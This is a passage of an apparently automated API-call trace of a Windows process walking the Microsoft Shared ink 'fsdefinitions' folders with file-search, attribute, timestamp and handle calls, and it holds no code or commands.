ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0234.084] GetLastError () returned 0x12 [0234.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.084] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0234.084] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0234.084] GetLastError () returned 0x12 [0234.084] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.085] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.085] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.085] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0234.085] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0234.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.085] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0234.316] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0234.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904f68 [0234.316] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904f68, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x904f68, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0234.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904f68) returned 1 [0234.316] NtClose (Handle=0x1b4) returned 0x0 [0234.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.317] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.317] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.317] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904598 [0234.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903bb0 [0234.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.317] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0234.317] GetLastError () returned 0x12 [0234.317] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.317] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.317] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.317] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0234.317] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0234.318] GetLastError () returned 0x12 [0234.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.318] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.318] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.318] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0234.318] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="")) returned 1 [0234.318] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.318] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.319] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904f68 [0234.319] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904f68, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x904f68, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904f68) returned 1 [0234.319] NtClose (Handle=0x1bc) returned 0x0 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902818 [0234.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd620 [0234.319] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.319] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9045b8 [0234.319] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x903cb8 [0234.319] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0234.320] GetLastError () returned 0x12 [0234.320] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.320] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0234.320] GetLastError () returned 0x12 [0234.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902818) returned 1 [0234.320] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0234.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902710) returned 1 [0234.320] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0234.320] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0234.320] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0234.321] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904f68 [0234.321] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904f68, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x904f68, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0234.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904f68) returned 1 [0234.321] NtClose (Handle=0x1b4) returned 0x0 [0234.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x902608) returned 1 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902608 [0234.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x902710 [0234.321] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0234.321] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.321] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.321] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.321] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.321] RtlFreeHeap (HeapHandle=0x4a0000, 